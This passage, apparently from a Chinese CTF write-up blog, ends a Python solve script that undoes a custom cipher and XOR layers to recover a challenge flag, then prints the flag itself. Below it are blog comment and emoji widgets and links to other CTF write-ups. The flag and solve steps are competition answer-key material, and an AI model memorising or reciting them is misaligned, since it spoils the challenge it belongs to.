    session_key = derive_session_key(WORKSPACE_SIZE)
    decrypted_block = bytearray(custom_shuffle_cipher(workspace, session_key))

    for k in range(16):
        val = decrypted_block[16 + k]
        rotated_val = ((val << 1 | val >> 7) & FULL_BYTE_MASK)
        decrypted_block[16 + k] = rotated_val ^ SEGMENT_KEY[k]

    for xor_val, (start, end) in zip(XOR_VALUES, XOR_RANGES):
        for n in range(start, end):
            decrypted_block[n] ^= xor_val

    return bytes(decrypted_block)

if __name__ == "__main__":
    final_blob = reconstruct_flag()
    input_result = bytes(char ^ FINAL_XOR_VALUE for char in final_blob)

    print(f"Hex Stream: {input_result.hex()}")
    try:
        print(f"Decoded String: {input_result.decode('utf-8', errors='replace')}")
    except Exception:
        print("Decoded String: [Non-UTF8 Data]")
flag{7e48a6ca-dfa2-11f0-9c22-30050575612d-8e6a408b-dfa2-11f0-8c13-30050575612d}

文末附加内容
暂无评论

发送评论 编辑评论 


				

			

						

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
							
													

					

				

			

			
			

				

					
				

			

				

											

							
							
						

																

							
							
						

																

							
							
						

										
					
											
						

	

		
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
（╯‵□′）╯︵┴─┴
￣﹃￣
(/ω＼)
∠( ᐛ 」∠)＿
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ｀)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ(￣∇￣o)
ヾ(´･ ･｀｡)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò｡)
Σ(っ °Д °;)っ
( ,,´･ω･)ﾉ"(´っω･｀｡)
╮(╯▽╰)╭
o(*////▽////*)q
＞﹏＜
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
	

	

		
颜文字
Emoji
小恐龙
花!
	


									

			

			
			
		

	






上一篇
下一篇 

                    

                    
			        推荐文章
		            

		            

							
ISCTF2025部分wp

							
							

							
第七届金盾信安杯2025.12.20wp

							
							

							
2026第三届SHCTF wp 社会赛道

							
							

							
2024年“獬豸杯”WP

							
							

							
2025平航杯wp

							
							

							
2025第九届御网杯半决赛Crypto–wp

							
							

							
2026-uniCTFwp

							
							

							
2025第二届帕鲁杯应急响应wp畸形的爱

							
							

							
2025第二届帕鲁杯应急响应wp主线

							
							

							
furryCTF 2025高校联合新神赛wp–2026.2.4结束